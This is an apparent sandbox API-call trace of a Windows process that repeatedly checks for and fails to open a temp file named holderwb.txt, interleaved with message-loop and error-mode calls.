	[0098.978] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.978] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.978] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.979] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.979] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.979] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.979] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.979] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.979] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.979] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.980] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.980] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.980] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.981] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.981] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.981] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.981] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.982] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.982] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.982] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.982] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.982] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.982] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.982] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.983] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.983] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.983] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.983] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.983] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.983] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.983] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.984] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.984] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.984] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.984] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.985] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.985] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.985] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.985] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.986] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.986] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.986] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.986] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.986] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.986] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.987] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.987] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.987] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.987] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.987] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.987] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.987] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.988] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.988] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.988] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.988] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.989] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.989] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.989] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.989] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.990] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.990] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.990] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.990] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.990] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.990] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.991] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.991] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.991] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.991] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.991] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.991] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.991] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.992] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.992] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.992] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.992] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
